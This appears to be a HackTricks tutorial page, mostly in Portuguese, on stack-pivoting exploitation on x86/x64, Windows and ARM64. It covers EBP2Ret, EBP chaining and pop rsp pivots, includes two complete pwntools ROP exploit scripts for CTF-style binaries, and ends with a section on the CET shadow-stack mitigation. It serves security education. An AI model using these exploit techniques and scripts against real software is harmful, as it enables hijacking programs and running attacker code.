Stack Pivoting

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Informações Básicas

Esta técnica explora a capacidade de manipular o Base Pointer (EBP/RBP) para encadear a execução de múltiplas funções através do uso cuidadoso do frame pointer e da sequência de instruções leave; ret.

Como lembrete, em x86/x86-64 leave é equivalente a:

mov       rsp, rbp   ; mov esp, ebp on x86
pop       rbp        ; pop ebp on x86

E como o salvo EBP/RBP está na stack antes do salvo EIP/RIP, é possível controlá‑lo controlando a stack.

Notes

  • On 64-bit, replace EBP→RBP and ESP→RSP. Semantics are the same.
  • Some compilers omit the frame pointer (see “EBP might not be used”). In that case, leave might not appear and this technique won’t work.

EBP2Ret

Esta técnica é particularmente útil quando você pode alterar o EBP/RBP salvo mas não tem uma forma direta de mudar EIP/RIP. Ela explora o comportamento do epílogo da função.

Se, durante a execução de fvuln, você conseguir injetar um falso EBP na stack que aponte para uma área na memória onde o endereço do seu shellcode/ROP chain está localizado (mais 8 bytes em amd64 / 4 bytes em x86 para contabilizar o pop), você pode controlar RIP indiretamente. À medida que a função retorna, leave define RSP para a localização forjada e o subsequente pop rbp decrementa RSP, efetivamente fazendo‑o apontar para um endereço armazenado ali pelo atacante. Então ret usará esse endereço.

Note como você precisa saber 2 endereços: o endereço para o qual ESP/RSP irá apontar, e o valor armazenado nesse endereço que o ret consumirá.

Exploit Construction

Primeiro você precisa saber um endereço onde pode escrever dados/endereços arbitrários. RSP irá apontar para aqui e consumirá o primeiro ret.

Depois, precisa escolher o endereço usado pelo ret que irá transferir a execução. Você poderia usar:

  • A valid ONE_GADGET address.
  • The address of system() followed by the appropriate return and arguments (on x86: ret target = &system, then 4 junk bytes, then &"/bin/sh").
  • The address of a jmp esp; gadget (ret2esp) followed by inline shellcode.
  • A ROP chain staged in writable memory.

Lembre‑se que antes de qualquer um desses endereços na área controlada, deve haver espaço para o pop ebp/rbp vindo do leave (8B em amd64, 4B em x86). Você pode aproveitar esses bytes para definir um segundo falso EBP e manter o controle após a primeira chamada retornar.

Off-By-One Exploit

Há uma variante usada quando você pode apenas modificar o byte menos significativo do EBP/RBP salvo. Nesse caso, a localização de memória que armazena o endereço para pular com o ret deve compartilhar os primeiros três/cinco bytes com o EBP/RBP original para que a sobrescrita de 1 byte possa redirecioná‑lo. Normalmente o byte baixo (offset 0x00) é incrementado para pular o máximo possível dentro de uma página/região alinhada próxima.

Também é comum usar um RET sled na stack e colocar a ROP chain real no fim para aumentar a probabilidade de que o novo RSP aponte dentro do sled e a ROP chain final seja executada.

EBP Chaining

Colocando um endereço controlado no slot salvo de EBP da stack e um gadget leave; ret em EIP/RIP, é possível mover ESP/RSP para um endereço controlado pelo atacante.

Agora RSP está controlado e a próxima instrução é ret. Coloque na memória controlada algo como:

  • &(next fake EBP) -> Carregado pelo pop ebp/rbp do leave.
  • &system() -> Chamado pelo ret.
  • &(leave;ret) -> Depois que system terminar, move RSP para o próximo fake EBP e continua.
  • &("/bin/sh") -> Argumento para system.

Dessa forma é possível encadear vários fake EBPs para controlar o fluxo do programa.

Isto é parecido com um ret2lib, mas mais complexo e útil apenas em casos limite.

Além disso, aqui você tem um exemplo de um desafio que usa esta técnica com um stack leak para chamar uma função vencedora. Este é o payload final da página:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (reach saved RBP)

payload += flat(
buffer,         # Load leaked address in RBP
LEAVE_RET       # Use leave to move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

dica de alinhamento amd64: System V ABI requer alinhamento da stack de 16 bytes nos call sites. Se sua chain chamar funções como system, adicione um alignment gadget (por exemplo, ret, ou sub rsp, 8 ; ret) antes da chamada para manter o alinhamento e evitar crashes por movaps.

EBP pode não ser usado

Como explained in this post, se um binário for compilado com algumas otimizações ou com omission do frame-pointer, o EBP/RBP nunca controla ESP/RSP. Portanto, qualquer exploit que dependa de controlar EBP/RBP irá falhar porque o prólogo/epílogo não restaura a partir do frame pointer.

  • Não otimizado / frame pointer usado:
push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • Otimizado / frame pointer omitted:
push   %ebx         # save callee-saved register
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore
ret                 # return

No amd64 você frequentemente verá pop rbp ; ret em vez de leave ; ret, mas se o ponteiro de frame for omitido completamente então não há um epílogo baseado em rbp pelo qual pivotar.

Outras formas de controlar RSP

pop rsp gadget

In this page you can find an example using this technique. Para esse desafio era necessário chamar uma função com 2 argumentos específicos, e havia um pop rsp gadget e havia um leak from the stack:

# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg , rsp gadget

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

Confira a técnica ret2esp aqui:

Ret2esp / Ret2reg

Encontrando pivot gadgets rapidamente

Use seu gadget finder favorito para procurar por primitivos clássicos de pivot:

  • leave ; ret em funções ou em bibliotecas
  • pop rsp / xchg rax, rsp ; ret
  • add rsp, <imm> ; ret (or add esp, <imm> ; ret on x86)

Exemplos:

# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"

# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"

Padrão clássico de pivot staging

Uma estratégia de pivot robusta usada em muitos CTFs/exploits:

  1. Use um pequeno overflow inicial para chamar read/recv em uma grande região gravável (por exemplo, .bss, heap, ou memória mapeada RW) e colocar ali uma cadeia ROP completa.
  2. Retorne para um pivot gadget (leave ; ret, pop rsp, xchg rax, rsp ; ret) para mover RSP para essa região.
  3. Continue com a cadeia staged (por exemplo, leak libc, chamar mprotect, depois read shellcode, e então saltar para ele).

Windows: Destructor-loop weird-machine pivots (estudo de caso Revit RFA)

Client-side parsers às vezes implementam destructor loops que chamam indiretamente um ponteiro para função derivado de campos de objeto controlados pelo atacante. Se cada iteração oferece exatamente uma chamada indireta (uma “one-gadget” machine), você pode converter isso em um stack pivot confiável e entrada ROP.

Observado em Autodesk Revit RFA deserialization (CVE-2025-5037):

  • Objetos forjados do tipo AString colocam um ponteiro para bytes do atacante no offset 0.
  • O destructor loop efetivamente executa um gadget por objeto:
rcx = [rbx]              ; object pointer (AString*)
rax = [rcx]              ; pointer to controlled buffer
call qword ptr [rax]     ; execute [rax] once per object

Dois pivots práticos:

  • Windows 10 (32-bit heap addrs): “monster gadget” desalinhado que contém 8B E0mov esp, eax, eventual ret, para pivotar do call primitive para uma heap-based ROP chain.
  • Windows 11 (full 64-bit addrs): usar dois objetos para conduzir um constrained weird-machine pivot:
  • Gadget 1: push rax ; pop rbp ; ret (mover o rax original para rbp)
  • Gadget 2: leave ; ... ; ret (torna-se mov rsp, rbp ; pop rbp ; ret), pivotando para o buffer do primeiro objeto, onde segue uma cadeia ROP convencional.

Dicas para Windows x64 após o pivot:

  • Respeite o shadow space de 0x20 bytes e mantenha alinhamento de 16 bytes antes de sites de call. Frequentemente é conveniente colocar literais acima do endereço de retorno e usar um gadget como lea rcx, [rsp+0x20] ; call rax seguido por pop rax ; ret para passar endereços da pilha sem corromper o fluxo de controle.
  • Non-ASLR helper modules (se presentes) fornecem pools de gadgets estáveis e imports como LoadLibraryW/GetProcAddress para resolver dinamicamente alvos como ucrtbase!system.
  • Criando gadgets ausentes via um writable thunk: se uma sequência promissora terminar em um call através de um ponteiro de função gravável (por exemplo, DLL import thunk ou ponteiro de função em .data), sobrescreva esse ponteiro com um single-step benigno como pop rax ; ret. A sequência então se comporta como se tivesse terminado com ret (por exemplo, mov rdx, rsi ; mov rcx, rdi ; ret), o que é invalioso para carregar os registradores de argumento do Windows x64 sem clobberar outros.

Para construção completa da cadeia e exemplos de gadgets, veja a referência abaixo.

Modern mitigations that break stack pivoting (CET/Shadow Stack)

Modern x86 CPUs and OSes increasingly deploy CET Shadow Stack (SHSTK). With SHSTK enabled, ret compares the return address on the normal stack with a hardware-protected shadow stack; any mismatch raises a Control-Protection fault and kills the process. Therefore, techniques like EBP2Ret/leave;ret-based pivots will crash as soon as the first ret is executed from a pivoted stack.

  • For background and deeper details see:

CET & Shadow Stack

  • Verificações rápidas no Linux:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'

# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo

# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status   # expect: shstk (and possibly wrss)

# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
  • Notas para labs/CTF:

  • Algumas distros modernas habilitam SHSTK para binários CET-enabled quando hardware e glibc suportam. Para testes controlados em VMs, o SHSTK pode ser desabilitado globalmente via o parâmetro de boot do kernel nousershstk, ou habilitado seletivamente via tunables do glibc durante o startup (veja referências). Não desative mitigações em alvos de produção.

  • Técnicas baseadas em JOP/COOP ou SROP ainda podem ser viáveis em alguns alvos, mas o SHSTK especificamente quebra pivôs baseados em ret.

  • Nota Windows: O Windows 10+ expõe proteção em user-mode e o Windows 11 adiciona kernel-mode “Hardware-enforced Stack Protection” construída sobre shadow stacks. Processos compatíveis com CET impedem stack pivoting/ROP em ret; desenvolvedores optam via CETCOMPAT e políticas relacionadas (veja referência).

ARM64

In ARM64, the prologue and epilogues of the functions don’t store and retrieve the SP register in the stack. Moreover, the RET instruction doesn’t return to the address pointed by SP, but to the address inside x30.

Therefore, by default, just abusing the epilogue you won’t be able to control the SP register by overwriting some data inside the stack. And even if you manage to control the SP you would still need a way to control the x30 register.

  • prologue
sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP points to frame record
  • epilogue
ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

Caution

A forma de realizar algo similar a stack pivoting em ARM64 seria ser capaz de controlar o SP (controlando algum registrador cujo valor é passado para o SP ou porque por alguma razão o SP está obtendo seu endereço da stack e temos um overflow) e então abusar do epílogo para carregar o registrador x30 a partir de um SP controlado e RET para ele.

Also in the following page you can see the equivalent of Ret2esp in ARM64:

Ret2esp / Ret2reg

References

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks